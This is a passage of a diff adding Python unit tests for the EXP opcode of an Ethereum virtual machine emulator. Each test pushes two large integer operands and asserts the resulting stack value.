+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(1)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [6089590155545428825848686802984512581899718912L])
+
+    def test_EXP_28(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_29(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_30(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_31(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_32(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [97153515582439856940218076430383148080316642374323115531717460774015781538049L])
+
+    def test_EXP_33(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_34(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_35(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_36(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_37(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [115792089237316195423570985008687907853269984665640564039457584007913129639935L])
+
+    def test_EXP_38(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_39(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_40(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_41(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [112173586448650064316584391727166410732855297644839296413224972401556225198063L])
+
+    def test_EXP_42(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_43(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_44(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_45(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_46(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_47(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_48(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_49(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [18446744073709551616L])
+
+    def test_EXP_50(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [57896044618658097711785492504343953926634992332820282019735360412312277710593L])
+
+    def test_EXP_51(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [18446744073709551616L])
+
+    def test_EXP_52(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1208925819614629174706176L])
+
+    def test_EXP_53(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [794071845499378503449051136L])
+
+    def test_EXP_54(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(16)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [8303694420805298775410959586403913600201715917447438497573206049841934761984L])
+
+    def test_EXP_55(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_56(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0L])
+
+    def test_EXP_57(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1L])
+
+    def test_EXP_58(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [340282366920938463463374607431768211456L])
+
+    def test_EXP_59(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\n'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [43143988327398919500410556793212890625L])
+
